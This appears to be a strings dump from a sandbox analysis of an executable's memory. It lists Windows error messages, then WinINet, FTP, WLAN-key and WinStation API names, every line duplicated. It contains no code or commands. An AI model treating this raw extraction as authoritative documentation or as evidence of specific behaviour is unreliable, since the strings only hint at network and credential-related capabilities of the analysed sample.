The remote control of the console was terminated because the display mode was changed. Changing the display mode in a remote control session is not supported.
The remote control of the console was terminated because the display mode was changed. Changing the display mode in a remote control session is not supported.
Windows can't connect to your session because a problem occurred in the Windows video subsystem. Try connecting again later, or contact the server administrator for assistance.
Windows can't connect to your session because a problem occurred in the Windows video subsystem. Try connecting again later, or contact the server administrator for assistance.
The resource loader failed to load MUI file because the file fail to pass validation.
The resource loader failed to load MUI file because the file fail to pass validation.
The RC Manifest is corrupted with garbage data or unsupported version or missing required item.
The RC Manifest is corrupted with garbage data or unsupported version or missing required item.
A node is in the process of joining the cluster.
A node is in the process of joining the cluster.
A cluster join operation is not in progress.
A cluster join operation is not in progress.
Windows was not able to process the application binding information.
Windows was not able to process the application binding information.
The requested lookup key was not found in any active activation context.
The requested lookup key was not found in any active activation context.
Lack of system resources has required isolated activation to be disabled for the current thread of execution.
Lack of system resources has required isolated activation to be disabled for the current thread of execution.
The activation context being deactivated is not active for the current thread of execution.
The activation context being deactivated is not active for the current thread of execution.
The activation context activation stack for the running thread of execution is corrupt.
The activation context activation stack for the running thread of execution is corrupt.
A generic command executable returned a result that indicates failure.
A generic command executable returned a result that indicates failure.
The transaction handle associated with this operation is not valid.
The transaction handle associated with this operation is not valid.
The requested operation was made in the context of a transaction that is no longer active.
The requested operation was made in the context of a transaction that is no longer active.
The Transaction Manager was unable to be successfully initialized. Transacted operations are not supported.
The Transaction Manager was unable to be successfully initialized. Transacted operations are not supported.
Transaction support within the specified resource manager is not started or was shut down due to an error.
Transaction support within the specified resource manager is not started or was shut down due to an error.
The resource manager has attempted to prepare a transaction that it has not successfully joined.
The resource manager has attempted to prepare a transaction that it has not successfully joined.
The remote server or share does not support transacted file operations.
The remote server or share does not support transacted file operations.
The Transaction object already has a superior enlistment, and the caller attempted an operation that would have created a new superior. Only a single superior enlistment is allowed.
The Transaction object already has a superior enlistment, and the caller attempted an operation that would have created a new superior. Only a single superior enlistment is allowed.
The requested operation is not valid on the Transaction object in its current state.
The requested operation is not valid on the Transaction object in its current state.
It is too late to perform the requested operation, since the Transaction has already been aborted.
It is too late to perform the requested operation, since the Transaction has already been aborted.
It is too late to perform the requested operation, since the Transaction has already been committed.
It is too late to perform the requested operation, since the Transaction has already been committed.
The buffer passed in to NtPushTransaction or NtPullTransaction is not in a valid format.
The buffer passed in to NtPushTransaction or NtPullTransaction is not in a valid format.
The operation cannot be performed because another transaction is depending on the fact that this property will not change.
The operation cannot be performed because another transaction is depending on the fact that this property will not change.
The operation would involve a single file with two transactional resource managers and is therefore not allowed.
The operation would involve a single file with two transactional resource managers and is therefore not allowed.
The $Txf directory must be empty for this operation to succeed.
The $Txf directory must be empty for this operation to succeed.
The operation would leave a transactional resource manager in an inconsistent state and is therefore not allowed.
The operation would leave a transactional resource manager in an inconsistent state and is therefore not allowed.
The operation could not be completed because the transaction manager does not have a log.
The operation could not be completed because the transaction manager does not have a log.
A rollback could not be scheduled because a previously scheduled rollback has already executed or been queued for execution.
A rollback could not be scheduled because a previously scheduled rollback has already executed or been queued for execution.
The encryption operation could not be completed because a transaction is active.
The encryption operation could not be completed because a transaction is active.
Memory mapping (creating a mapped section) a remote file under a transaction is not supported.
Memory mapping (creating a mapped section) a remote file under a transaction is not supported.
This file is open for modification in an unresolved transaction and may be opened for execute only by a transacted reader.
This file is open for modification in an unresolved transaction and may be opened for execute only by a transacted reader.
The target volume is not a snapshot volume. This operation is only valid on a volume mounted as a snapshot.
The target volume is not a snapshot volume. This operation is only valid on a volume mounted as a snapshot.
The savepoint operation failed because files are open on the transaction. This is not permitted.
The savepoint operation failed because files are open on the transaction. This is not permitted.
The sparse operation could not be completed because a transaction is active on the file.
The sparse operation could not be completed because a transaction is active on the file.
The call to create a TransactionManager object failed because the Tm Identity stored in the logfile does not match the Tm Identity that was passed in as an argument.
The call to create a TransactionManager object failed because the Tm Identity stored in the logfile does not match the Tm Identity that was passed in as an argument.
The compression operation could not be completed because a transaction is active on the file.
The compression operation could not be completed because a transaction is active on the file.
The specified operation could not be performed on this Superior enlistment, because the enlistment was not created with the corresponding completion response in the NotificationMask.
The specified operation could not be performed on this Superior enlistment, because the enlistment was not created with the corresponding completion response in the NotificationMask.
The specified operation could not be performed, because the record that would be logged was too long. This can occur because of two conditions: either there are too many Enlistments on this Transaction, or the combined RecoveryInformation being logged on behalf of those Enlistments is too long.
The specified operation could not be performed, because the record that would be logged was too long. This can occur because of two conditions: either there are too many Enlistments on this Transaction, or the combined RecoveryInformation being logged on behalf of those Enlistments is too long.
The link tracking operation could not be completed because a transaction is active.
The link tracking operation could not be completed because a transaction is active.
This operation cannot be performed in a transaction.
This operation cannot be performed in a transaction.
This snapshot operation cannot continue because a transactional resource manager cannot be frozen in its current state. Please try again.
This snapshot operation cannot continue because a transactional resource manager cannot be frozen in its current state. Please try again.
The specified operation could not be performed because the resource manager is not enlisted in the transaction.
The specified operation could not be performed because the resource manager is not enlisted in the transaction.
A policy on the log in question prevented the operation from completing.
A policy on the log in question prevented the operation from completing.
Log is multiplexed, no direct writes to the physical log is allowed.
Log is multiplexed, no direct writes to the physical log is allowed.
The operation failed because the log is a dedicated log.
The operation failed because the log is a dedicated log.
The operation requires an archive context.
The operation requires an archive context.
The operation requires a non-ephemeral log, but the log is ephemeral.
The operation requires a non-ephemeral log, but the log is ephemeral.
A handler was not defined by the filter for this operation.
A handler was not defined by the filter for this operation.
Asynchronous requests are not valid for this operation.
Asynchronous requests are not valid for this operation.
Internal error code used by the filter manager to determine if a fastio operation should be forced down the IRP path. Mini-filters should never return this value.
Internal error code used by the filter manager to determine if a fastio operation should be forced down the IRP path. Mini-filters should never return this value.
Posting this operation to a worker thread for further processing is not safe at this time because it could lead to a system deadlock.
Posting this operation to a worker thread for further processing is not safe at this time because it could lead to a system deadlock.
The filter must cleanup any operation specific context at this time because it is being removed from the system before the operation is completed by the lower drivers.
The filter must cleanup any operation specific context at this time because it is being removed from the system before the operation is completed by the lower drivers.
The Filter Manager had an internal error from which it cannot recover, therefore the operation has been failed. This is usually the result of a filter returning an invalid value from a pre-operation callback.
The Filter Manager had an internal error from which it cannot recover, therefore the operation has been failed. This is usually the result of a filter returning an invalid value from a pre-operation callback.
A duplicate handler definition has been provided for an operation.
A duplicate handler definition has been provided for an operation.
Format of the obtained monitor descriptor is not supported by this release.
Format of the obtained monitor descriptor is not supported by this release.
The driver needs more DMA buffer space in order to complete the requested operation.
The driver needs more DMA buffer space in order to complete the requested operation.
Not enough video memory available to complete the operation.
Not enough video memory available to complete the operation.
The allocation can't be used from it's current segment location for the specified operation.
The allocation can't be used from it's current segment location for the specified operation.
Specified VidPN topology is valid but is not supported by this model of the display adapter.
Specified VidPN topology is valid but is not supported by this model of the display adapter.
Specified VidPN topology is valid but is not supported by the display adapter at this time, due to current allocation of its resources.
Specified VidPN topology is valid but is not supported by the display adapter at this time, due to current allocation of its resources.
Specified VidPN modality is not supported (e.g. at least two of the pinned modes are not cofunctional).
Specified VidPN modality is not supported (e.g. at least two of the pinned modes are not cofunctional).
Miniport has no recommendation for augmentation of the specified VidPN's topology.
Miniport has no recommendation for augmentation of the specified VidPN's topology.
Miniport does not have any recommendation regarding the request to provide a functional VidPN given the current display adapter configuration.
Miniport does not have any recommendation regarding the request to provide a functional VidPN given the current display adapter configuration.
System failed to determine a mode that is supported by both the display adapter and the monitor connected to it.
System failed to determine a mode that is supported by both the display adapter and the monitor connected to it.
Specified VidPN present path importance ordinal is invalid.
Specified VidPN present path importance ordinal is invalid.
Specified content geometry transformation is not supported on the respective VidPN present path.
Specified content geometry transformation is not supported on the respective VidPN present path.
Specified gamma ramp is not supported on the respective VidPN present path.
Specified gamma ramp is not supported on the respective VidPN present path.
Multi-sampling is not supported on the respective VidPN present path.
Multi-sampling is not supported on the respective VidPN present path.
All available importance ordinals are already used in specified topology.
All available importance ordinals are already used in specified topology.
Maximum supported number of present paths has been reached.
Maximum supported number of present paths has been reached.
Miniport requested that augmentation be cancelled for the specified source of the specified VidPN's topology.
Miniport requested that augmentation be cancelled for the specified source of the specified VidPN's topology.
Specified display adapter child device does not support descriptor exposure.
Specified display adapter child device does not support descriptor exposure.
An operation is being attempted that requires the display adapter to be in a quiescent state.
An operation is being attempted that requires the display adapter to be in a quiescent state.
The driver does not support OPM.
The driver does not support OPM.
The driver does not support COPP.
The driver does not support COPP.
The driver does not support UAB.
The driver does not support UAB.
The GDI display device passed to this function does not have any active protected outputs.
The GDI display device passed to this function does not have any active protected outputs.
An internal error caused an operation to fail.
An internal error caused an operation to fail.
The function failed because the caller passed in an invalid OPM user mode handle.
The function failed because the caller passed in an invalid OPM user mode handle.
A certificate could not be returned because the certificate buffer passed to the function was too small.
A certificate could not be returned because the certificate buffer passed to the function was too small.
The HDCP System Renewability Message passed to this function did not comply with section 5 of the HDCP 1.1 specification.
The HDCP System Renewability Message passed to this function did not comply with section 5 of the HDCP 1.1 specification.
The protected output cannot enable the High-bandwidth Digital Content Protection (HDCP) System because it does not support HDCP.
The protected output cannot enable the High-bandwidth Digital Content Protection (HDCP) System because it does not support HDCP.
The protected output cannot enable Analogue Copy Protection (ACP) because it does not support ACP.
The protected output cannot enable Analogue Copy Protection (ACP) because it does not support ACP.
The protected output cannot enable the Content Generation Management System Analogue (CGMS-A) protection technology because it does not support CGMS-A.
The protected output cannot enable the Content Generation Management System Analogue (CGMS-A) protection technology because it does not support CGMS-A.
The DxgkDdiOPMGetInformation function cannot return the version of the SRM being used because the application never successfully passed an SRM to the protected output.
The DxgkDdiOPMGetInformation function cannot return the version of the SRM being used because the application never successfully passed an SRM to the protected output.
The operating system asynchronously destroyed this OPM protected output because the operating system's state changed. This error typically occurs because the monitor PDO associated with this protected output was removed, the monitor PDO associated with this protected output was stopped, or the protected output's session became a non-console session.
The operating system asynchronously destroyed this OPM protected output because the operating system's state changed. This error typically occurs because the monitor PDO associated with this protected output was removed, the monitor PDO associated with this protected output was stopped, or the protected output's session became a non-console session.
The DxgkDdiOPMGetInformation and DxgkDdiOPMGetCOPPCompatibleInformation functions return this error code if the passed in sequence number is not the expected sequence number or the passed in OMAC value is invalid.
The DxgkDdiOPMGetInformation and DxgkDdiOPMGetCOPPCompatibleInformation functions return this error code if the passed in sequence number is not the expected sequence number or the passed in OMAC value is invalid.
The DxgkDdiOPMGetCOPPCompatibleInformation and DxgkDdiOPMConfigureProtectedOutput functions return this error if the display driver does not support the DXGKMDT_OPM_GET_ACP_AND_CGMSA_SIGNALING and DXGKMDT_OPM_SET_ACP_AND_CGMSA_SIGNALING GUIDs.
The DxgkDdiOPMGetCOPPCompatibleInformation and DxgkDdiOPMConfigureProtectedOutput functions return this error if the display driver does not support the DXGKMDT_OPM_GET_ACP_AND_CGMSA_SIGNALING and DXGKMDT_OPM_SET_ACP_AND_CGMSA_SIGNALING GUIDs.
The DxgkDdiOPMConfigureProtectedOutput function returns this error code if the passed in sequence number is not the expected sequence number or the passed in OMAC value is invalid.
The DxgkDdiOPMConfigureProtectedOutput function returns this error code if the passed in sequence number is not the expected sequence number or the passed in OMAC value is invalid.
The monitor does not support the specified VCP code.
The monitor does not support the specified VCP code.
The function failed because a monitor returned an invalid Timing Status byte when the operating system used the DDC/CI Get Timing Report & Timing Message command to get a timing report from a monitor.
The function failed because a monitor returned an invalid Timing Status byte when the operating system used the DDC/CI Get Timing Report & Timing Message command to get a timing report from a monitor.
A monitor returned a DDC/CI capabilities string which did not comply with the ACCESS.bus 3.0, DDC/CI 1.1, or MCCS 2 Revision 1 specification.
A monitor returned a DDC/CI capabilities string which did not comply with the ACCESS.bus 3.0, DDC/CI 1.1, or MCCS 2 Revision 1 specification.
An operation failed because a DDC/CI message had an invalid value in its command field.
An operation failed because a DDC/CI message had an invalid value in its command field.
This function failed because an invalid monitor handle was passed to it.
This function failed because an invalid monitor handle was passed to it.
The operating system asynchronously destroyed the monitor which corresponds to this handle because the operating system's state changed. This error typically occurs because the monitor PDO associated with this handle was removed, the monitor PDO associated with this handle was stopped, or a display mode change occurred. A display mode change occurs when windows sends a WM_DISPLAYCHANGE windows message to applications.
The operating system asynchronously destroyed the monitor which corresponds to this handle because the operating system's state changed. This error typically occurs because the monitor PDO associated with this handle was removed, the monitor PDO associated with this handle was stopped, or a display mode change occurred. A display mode change occurs when windows sends a WM_DISPLAYCHANGE windows message to applications.
The function failed because the specified GDI display device was not attached to the Windows desktop.
The function failed because the specified GDI display device was not attached to the Windows desktop.
This function does not support GDI mirroring display devices because GDI mirroring display devices do not have any physical monitors associated with them.
This function does not support GDI mirroring display devices because GDI mirroring display devices do not have any physical monitors associated with them.
The function failed because an invalid pointer parameter was passed to it. A pointer parameter is invalid if it is NULL, it points to an invalid address, it points to a kernel mode address or it is not correctly aligned.
The function failed because an invalid pointer parameter was passed to it. A pointer parameter is invalid if it is NULL, it points to an invalid address, it points to a kernel mode address or it is not correctly aligned.
This function failed because the GDI device passed to it did not have any monitors associated with it.
This function failed because the GDI device passed to it did not have any monitors associated with it.
An array passed to the function cannot hold all of the data that the function must copy into the array.
An array passed to the function cannot hold all of the data that the function must copy into the array.
The volume is not encrypted, no key is available.
The volume is not encrypted, no key is available.
The volume cannot be encrypted because the file system is not supported.
The volume cannot be encrypted because the file system is not supported.
This operation cannot be performed while a file system is mounted on the volume.
This operation cannot be performed while a file system is mounted on the volume.
BitLocker Drive Encryption is not included with this version of Windows.
BitLocker Drive Encryption is not included with this version of Windows.
A read operation failed while converting the volume.
A read operation failed while converting the volume.
A write operation failed while converting the volume.
A write operation failed while converting the volume.
The encryption algorithm does not support the sector size of that volume.
The encryption algorithm does not support the sector size of that volume.
The BitLocker startup key or recovery password could not be read from external media.
The BitLocker startup key or recovery password could not be read from external media.
The BitLocker startup key or recovery password file is corrupt or invalid.
The BitLocker startup key or recovery password file is corrupt or invalid.
The BitLocker encryption key could not be obtained from the startup key or recovery password.
The BitLocker encryption key could not be obtained from the startup key or recovery password.
The authorization data for the Storage Root Key (SRK) of the Trusted Platform Module (TPM) is not zero.
The authorization data for the Storage Root Key (SRK) of the Trusted Platform Module (TPM) is not zero.
The system boot information changed or the Trusted Platform Module (TPM) locked out access to BitLocker encryption keys until the computer is restarted.
The system boot information changed or the Trusted Platform Module (TPM) locked out access to BitLocker encryption keys until the computer is restarted.
The BitLocker encryption key could not be obtained from the Trusted Platform Module (TPM).
The BitLocker encryption key could not be obtained from the Trusted Platform Module (TPM).
The BitLocker encryption key could not be obtained from the Trusted Platform Module (TPM) and PIN.
The BitLocker encryption key could not be obtained from the Trusted Platform Module (TPM) and PIN.
The Boot Configuration Data (BCD) settings are not supported or have changed since BitLocker was enabled.
The Boot Configuration Data (BCD) settings are not supported or have changed since BitLocker was enabled.
The BitLocker encryption key could not be obtained.
The BitLocker encryption key could not be obtained.
The auto-unlock master key was not available from the operating system volume. Retry the operation using the BitLocker WMI interface.
The auto-unlock master key was not available from the operating system volume. Retry the operation using the BitLocker WMI interface.
This feature of BitLocker Drive Encryption is not included with this version of Windows.
This feature of BitLocker Drive Encryption is not included with this version of Windows.
The management information stored on the drive contained an unknown type. If you are using an old version of Windows, try accessing the drive from the latest version.
The management information stored on the drive contained an unknown type. If you are using an old version of Windows, try accessing the drive from the latest version.
The BitLocker encryption key could not be obtained from the Trusted Platform Module (TPM) and enhanced PIN. Try using a PIN containing only numerals.
The BitLocker encryption key could not be obtained from the Trusted Platform Module (TPM) and enhanced PIN. Try using a PIN containing only numerals.
The operation is not supported by the specified layer.
The operation is not supported by the specified layer.
The displayData.name field cannot be null.
The displayData.name field cannot be null.
A filter condition contains a match type that is not compatible with the operands.
A filter condition contains a match type that is not compatible with the operands.
A filter cannot contain multiple conditions operating on a single field.
A filter cannot contain multiple conditions operating on a single field.
A policy cannot contain the same keying module more than once.
A policy cannot contain the same keying module more than once.
The TCP/IP stack is not ready.
The TCP/IP stack is not ready.
Network interface is not ready to complete this operation.
Network interface is not ready to complete this operation.
The length of the buffer submitted for this operation is not valid.
The length of the buffer submitted for this operation is not valid.
The data used for this operation is not valid.
The data used for this operation is not valid.
The length of buffer submitted for this operation is too small.
The length of buffer submitted for this operation is too small.
Network interface does not support this OID (Object Identifier)
Network interface does not support this OID (Object Identifier)
Network interface does not support this media type.
Network interface does not support this media type.
The I/O operation failed because network media is disconnected or wireless access point is out of range.
The I/O operation failed because network media is disconnected or wireless access point is out of range.
The offload operation on the network interface has been paused.
The offload operation on the network interface has been paused.
The revision number specified in the structure is not supported.
The revision number specified in the structure is not supported.
The specified port does not exist on this network interface.
The specified port does not exist on this network interface.
The current state of the specified port on this network interface does not support the requested operation.
The current state of the specified port on this network interface does not support the requested operation.
The miniport adapter is in lower power state.
The miniport adapter is in lower power state.
Netword interface does not support this request.
Netword interface does not support this request.
The TCP connection is not offloadable because of a local policy setting.
The TCP connection is not offloadable because of a local policy setting.
The TCP connection is not offloadable by the Chimney offload target.
The TCP connection is not offloadable by the Chimney offload target.
The wireless local area network interface is in auto configuration mode and doesn't support the requested parameter change operation.
The wireless local area network interface is in auto configuration mode and doesn't support the requested parameter change operation.
The wireless local area network interface is busy and can not perform the requested operation.
The wireless local area network interface is busy and can not perform the requested operation.
The wireless local area network interface is power down and doesn't support the requested operation.
The wireless local area network interface is power down and doesn't support the requested operation.
The hypervisor does not support the operation because the specified hypercall code is not supported.
The hypervisor does not support the operation because the specified hypercall code is not supported.
The hypervisor does not support the operation because the encoding for the hypercall input register is not supported.
The hypervisor does not support the operation because the encoding for the hypercall input register is not supported.
The hypervisor could not perform the operation beacuse a parameter has an invalid alignment.
The hypervisor could not perform the operation beacuse a parameter has an invalid alignment.
The hypervisor could not perform the operation beacuse an invalid parameter was specified.
The hypervisor could not perform the operation beacuse an invalid parameter was specified.
The hypervisor could not perform the operation because the partition is entering or in an invalid state.
The hypervisor could not perform the operation because the partition is entering or in an invalid state.
The operation is not allowed in the current state.
The operation is not allowed in the current state.
There is not enough memory in the hypervisor pool to complete the operation.
There is not enough memory in the hypervisor pool to complete the operation.
The hypervisor could not perform the operation because the specified VP index is invalid.
The hypervisor could not perform the operation because the specified VP index is invalid.
The hypervisor could not perform the operation because the specified port identifier is invalid.
The hypervisor could not perform the operation because the specified port identifier is invalid.
The hypervisor could not perform the operation because the specified connection identifier is invalid.
The hypervisor could not perform the operation because the specified connection identifier is invalid.
The hypervisor could not complete the operation because a required feature of the synthetic interrupt controller (SynIC) was disabled.
The hypervisor could not complete the operation because a required feature of the synthetic interrupt controller (SynIC) was disabled.
The hypervisor could not perform the operation because the object or value was either already in use or being used for a purpose that would not permit completing the operation.
The hypervisor could not perform the operation because the object or value was either already in use or being used for a purpose that would not permit completing the operation.
The physical connection being used for debuggging has not recorded any receive activity since the last operation.
The physical connection being used for debuggging has not recorded any receive activity since the last operation.
There are not enough resources to complete the operation.
There are not enough resources to complete the operation.
IPsec DoS Protection received an IPsec negotiation packet for a keying module which is not allowed by policy.
IPsec DoS Protection received an IPsec negotiation packet for a keying module which is not allowed by policy.
Cannot unlock the page array for the guest operating system memory address because it does not match a previous lock request. Restarting the virtual machine may fix the problem. If the problem persists, try restarting the physical computer.
Cannot unlock the page array for the guest operating system memory address because it does not match a previous lock request. Restarting the virtual machine may fix the problem. If the problem persists, try restarting the physical computer.
The non-uniform memory access (NUMA) node settings do not match the system NUMA topology. In order to start the virtual machine, you will need to modify the NUMA configuration. For detailed information, see hXXp://go.microsoft.com/fwlink/?LinkId=92362.
The non-uniform memory access (NUMA) node settings do not match the system NUMA topology. In order to start the virtual machine, you will need to modify the NUMA configuration. For detailed information, see hXXp://go.microsoft.com/fwlink/?LinkId=92362.
The lock or unlock request uses an invalid guest operating system memory address. Restarting the virtual machine may fix the problem. If the problem persists, try restarting the physical computer.
The lock or unlock request uses an invalid guest operating system memory address. Restarting the virtual machine may fix the problem. If the problem persists, try restarting the physical computer.
The specified disk is an invalid disk. Operation cannot complete on an invalid disk.
The specified disk is an invalid disk. Operation cannot complete on an invalid disk.
The disk layout contains more than the maximum number of supported partitions.
The disk layout contains more than the maximum number of supported partitions.
The specified disk is missing. The operation cannot complete on a missing disk.
The specified disk is missing. The operation cannot complete on a missing disk.
There is not enough usable space for this operation.
There is not enough usable space for this operation.
Dynamic disks are not supported on this system.
Dynamic disks are not supported on this system.
The system does not support fault tolerant volumes.
The system does not support fault tolerant volumes.
The specified number of plexes is invalid.
The specified number of plexes is invalid.
The specified pack is the invalid pack. The operation cannot complete with the invalid pack.
The specified pack is the invalid pack. The operation cannot complete with the invalid pack.
The specified disk has an unsupported partition style. Only MBR and GPT partition styles are supported.
The specified disk has an unsupported partition style. Only MBR and GPT partition styles are supported.
The specified plex is already in-sync with the other active plexes. It does not need to be regenerated.
The specified plex is already in-sync with the other active plexes. It does not need to be regenerated.
The specified plex index is greater or equal than the number of plexes in the volume.
The specified plex index is greater or equal than the number of plexes in the volume.
The operation is only supported on RAID-5 plexes.
The operation is only supported on RAID-5 plexes.
The operation is only supported on simple plexes.
The operation is only supported on simple plexes.
The operation is only supported on mirrored volumes.
The operation is only supported on mirrored volumes.
The operation is not supported on mirrored volumes.
The operation is not supported on mirrored volumes.
The operation is only supported on simple and spanned plexes.
The operation is only supported on simple and spanned plexes.
The system does not support mirrored volumes.
The system does not support mirrored volumes.
The system does not support RAID-5 volumes.
The system does not support RAID-5 volumes.
The version does not support this version of the file format.
The version does not support this version of the file format.
The system does not support this version of the virtual hard disk.This version of the sparse header is not supported.
The system does not support this version of the virtual hard disk.This version of the sparse header is not supported.
The system does not support this version of the virtual hard disk. The block size is invalid.
The system does not support this version of the virtual hard disk. The block size is invalid.
A virtual disk support provider for the specified file was not found.
A virtual disk support provider for the specified file was not found.
The requested operation could not be completed due to a virtual disk system limitation. Virtual disks are only supported on NTFS volumes and must be both uncompressed and unencrypted.
The requested operation could not be completed due to a virtual disk system limitation. Virtual disks are only supported on NTFS volumes and must be both uncompressed and unencrypted.
The requested operation cannot be performed on a virtual disk of this type.
The requested operation cannot be performed on a virtual disk of this type.
The requested operation cannot be performed on the virtual disk in its current state.
The requested operation cannot be performed on the virtual disk in its current state.
The sector size of the physical disk on which the virtual disk resides is not supported.
The sector size of the physical disk on which the virtual disk resides is not supported.
The Derived Indexed Store is not present (or currently loaded) on this system.
The Derived Indexed Store is not present (or currently loaded) on this system.
%original file name%.exe_1804_rwx_017D0000_000D5000:
CM_Open_DevNode_Key
CM_Open_DevNode_Key
CryptCATCatalogInfoFromContext
CryptCATCatalogInfoFromContext
WSDCreateUdpTransport
WSDCreateUdpTransport
WSDCreateUdpMessageParameters
WSDCreateUdpMessageParameters
WSDCreateUdpAddress
WSDCreateUdpAddress
WSDCreateHttpTransport
WSDCreateHttpTransport
WSDCreateHttpMessageParameters
WSDCreateHttpMessageParameters
WSDCreateHttpAddress
WSDCreateHttpAddress
WSASendMsg
WSASendMsg
WlanGetProfileKeyInfo
WlanGetProfileKeyInfo
WlanHostedNetworkSetSecondaryKey
WlanHostedNetworkSetSecondaryKey
WlanHostedNetworkQuerySecondaryKey
WlanHostedNetworkQuerySecondaryKey
_WinStationNotifyDisconnectPipe
_WinStationNotifyDisconnectPipe
WinStationUserLoginAccessCheck
WinStationUserLoginAccessCheck
WinStationSetAutologonPassword
WinStationSetAutologonPassword
WinStationReportUIResult
WinStationReportUIResult
WinStationIsHelpAssistantSession
WinStationIsHelpAssistantSession
WinStationGetUserCertificates
WinStationGetUserCertificates
WinStationFreeUserCertificates
WinStationFreeUserCertificates
WinStationEnumerate_IndexedW
WinStationEnumerate_IndexedW
WinStationEnumerate_IndexedA
WinStationEnumerate_IndexedA
midiOutShortMsg
midiOutShortMsg
&@v_GetFileExtensionFromUrl
&@v_GetFileExtensionFromUrl
UrlZonesDetach
UrlZonesDetach
UpdateUrlCacheContentPath
UpdateUrlCacheContentPath
UnlockUrlCacheEntryStream
UnlockUrlCacheEntryStream
UnlockUrlCacheEntryFileW
UnlockUrlCacheEntryFileW
UnlockUrlCacheEntryFileA
UnlockUrlCacheEntryFileA
ShowX509EncodedCertificate
ShowX509EncodedCertificate
ShowClientAuthCerts
ShowClientAuthCerts
ShowCertificate
ShowCertificate
SetUrlCacheHeaderData
SetUrlCacheHeaderData
SetUrlCacheGroupAttributeW
SetUrlCacheGroupAttributeW
SetUrlCacheGroupAttributeA
SetUrlCacheGroupAttributeA
SetUrlCacheEntryInfoW
SetUrlCacheEntryInfoW
SetUrlCacheEntryInfoA
SetUrlCacheEntryInfoA
SetUrlCacheEntryGroupW
SetUrlCacheEntryGroupW
SetUrlCacheEntryGroupA
SetUrlCacheEntryGroupA
SetUrlCacheConfigInfoW
SetUrlCacheConfigInfoW
SetUrlCacheConfigInfoA
SetUrlCacheConfigInfoA
RunOnceUrlCache
RunOnceUrlCache
RetrieveUrlCacheEntryStreamW
RetrieveUrlCacheEntryStreamW
RetrieveUrlCacheEntryStreamA
RetrieveUrlCacheEntryStreamA
RetrieveUrlCacheEntryFileW
RetrieveUrlCacheEntryFileW
RetrieveUrlCacheEntryFileA
RetrieveUrlCacheEntryFileA
RegisterUrlCacheNotification
RegisterUrlCacheNotification
ReadUrlCacheEntryStream
ReadUrlCacheEntryStream
ParseX509EncodedCertificateForListBoxEntry
ParseX509EncodedCertificateForListBoxEntry
LoadUrlCacheContent
LoadUrlCacheContent
IsUrlCacheEntryExpiredW
IsUrlCacheEntryExpiredW
IsUrlCacheEntryExpiredA
IsUrlCacheEntryExpiredA
IsHostInProxyBypassList
IsHostInProxyBypassList
InternetShowSecurityInfoByURLW
InternetShowSecurityInfoByURLW
InternetShowSecurityInfoByURLA
InternetShowSecurityInfoByURLA
InternetOpenUrlW
InternetOpenUrlW
InternetOpenUrlA
InternetOpenUrlA
InternetGetSecurityInfoByURLW
InternetGetSecurityInfoByURLW
InternetGetSecurityInfoByURLA
InternetGetSecurityInfoByURLA
InternetGetCertByURLA
InternetGetCertByURLA
InternetGetCertByURL
InternetGetCertByURL
InternetCreateUrlW
InternetCreateUrlW
InternetCreateUrlA
InternetCreateUrlA
InternetCrackUrlW
InternetCrackUrlW
InternetCrackUrlA
InternetCrackUrlA
InternetCombineUrlW
InternetCombineUrlW
InternetCombineUrlA
InternetCombineUrlA
InternetCanonicalizeUrlW
InternetCanonicalizeUrlW
InternetCanonicalizeUrlA
InternetCanonicalizeUrlA
IncrementUrlCacheHeaderData
IncrementUrlCacheHeaderData
HttpSendRequestW
HttpSendRequestW
HttpSendRequestExW
HttpSendRequestExW
HttpSendRequestExA
HttpSendRequestExA
HttpSendRequestA
HttpSendRequestA
HttpQueryInfoW
HttpQueryInfoW
HttpQueryInfoA
HttpQueryInfoA
HttpOpenRequestW
HttpOpenRequestW
HttpOpenRequestA
HttpOpenRequestA
HttpEndRequestW
HttpEndRequestW
HttpEndRequestA
HttpEndRequestA
HttpAddRequestHeadersW
HttpAddRequestHeadersW
HttpAddRequestHeadersA
HttpAddRequestHeadersA
GetUrlCacheHeaderData
GetUrlCacheHeaderData
GetUrlCacheGroupAttributeW
GetUrlCacheGroupAttributeW
GetUrlCacheGroupAttributeA
GetUrlCacheGroupAttributeA
GetUrlCacheEntryInfoW
GetUrlCacheEntryInfoW
GetUrlCacheEntryInfoExW
GetUrlCacheEntryInfoExW
GetUrlCacheEntryInfoExA
GetUrlCacheEntryInfoExA
GetUrlCacheEntryInfoA
GetUrlCacheEntryInfoA
GetUrlCacheConfigInfoW
GetUrlCacheConfigInfoW
GetUrlCacheConfigInfoA
GetUrlCacheConfigInfoA
FtpSetCurrentDirectoryW
FtpSetCurrentDirectoryW
FtpSetCurrentDirectoryA
FtpSetCurrentDirectoryA
FtpRenameFileW
FtpRenameFileW
FtpRenameFileA
FtpRenameFileA
FtpRemoveDirectoryW
FtpRemoveDirectoryW
FtpRemoveDirectoryA
FtpRemoveDirectoryA
FtpPutFileW
FtpPutFileW
FtpPutFileEx
FtpPutFileEx
FtpPutFileA
FtpPutFileA
FtpOpenFileW
FtpOpenFileW
FtpOpenFileA
FtpOpenFileA
FtpGetFileW
FtpGetFileW
FtpGetFileSize
FtpGetFileSize
FtpGetFileEx
FtpGetFileEx
FtpGetFileA
FtpGetFileA
FtpGetCurrentDirectoryW
FtpGetCurrentDirectoryW
FtpGetCurrentDirectoryA
FtpGetCurrentDirectoryA
FtpFindFirstFileW
FtpFindFirstFileW
FtpFindFirstFileA
FtpFindFirstFileA
FtpDeleteFileW
FtpDeleteFileW
FtpDeleteFileA
FtpDeleteFileA
FtpCreateDirectoryW
FtpCreateDirectoryW
FtpCreateDirectoryA
FtpCreateDirectoryA
FtpCommandW
FtpCommandW
FtpCommandA
FtpCommandA
FreeUrlCacheSpaceW
FreeUrlCacheSpaceW
FreeUrlCacheSpaceA
FreeUrlCacheSpaceA
FindNextUrlCacheGroup
FindNextUrlCacheGroup
FindNextUrlCacheEntryW
FindNextUrlCacheEntryW
FindNextUrlCacheEntryExW
FindNextUrlCacheEntryExW
FindNextUrlCacheEntryExA
FindNextUrlCacheEntryExA
FindNextUrlCacheEntryA
FindNextUrlCacheEntryA
FindNextUrlCacheContainerW
FindNextUrlCacheContainerW
FindNextUrlCacheContainerA
FindNextUrlCacheContainerA
FindFirstUrlCacheGroup
FindFirstUrlCacheGroup
FindFirstUrlCacheEntryW
FindFirstUrlCacheEntryW
FindFirstUrlCacheEntryExW
FindFirstUrlCacheEntryExW
FindFirstUrlCacheEntryExA
FindFirstUrlCacheEntryExA
FindFirstUrlCacheEntryA
FindFirstUrlCacheEntryA
FindFirstUrlCacheContainerW
FindFirstUrlCacheContainerW
FindFirstUrlCacheContainerA
FindFirstUrlCacheContainerA
FindCloseUrlCache
FindCloseUrlCache
DetectAutoProxyUrl
DetectAutoProxyUrl
DeleteUrlCacheGroup
